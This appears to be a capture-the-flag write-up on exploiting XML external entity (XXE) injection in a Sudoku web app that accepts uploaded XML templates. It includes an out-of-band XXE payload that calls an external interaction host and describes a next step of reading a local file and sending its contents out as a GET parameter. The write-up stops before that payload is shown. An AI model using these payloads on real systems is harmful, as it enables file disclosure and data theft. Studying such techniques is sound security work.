Thanks for taking the time to read this write-up.

They gave us a Sudoku board that allows us to upload custom XML templates.

image.png

The XML template looks like this:

image.png

The web application requires that each row contain a single integer between 0 and 9, and the template must be a valid Sudoku answer key.

The first column in the template has the number 5. Therefore, we can test for classic XXE using a general entity like this:

image.png

The game accepts the upload as a valid Sudoku solution, so we know that XXE is the way to go.

The template is super restrictive. After some testing, it became painfully apparent that the only value that could be appended to that first column was 5. (It’s a Sudoku answer key.)

Next Step: Out of Band Testing. (OOB)

image.png

XML from the image above:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test123 [
  <!ENTITY % xxe SYSTEM "<https://gojvoiqamwyerrovnllfckaflb7rqheas.oast.fun>">
%xxe;
]>

The next step was to attempt to extract some data by creating a second parameter entity containing the contents of a local file and appending its contents as a GET parameter.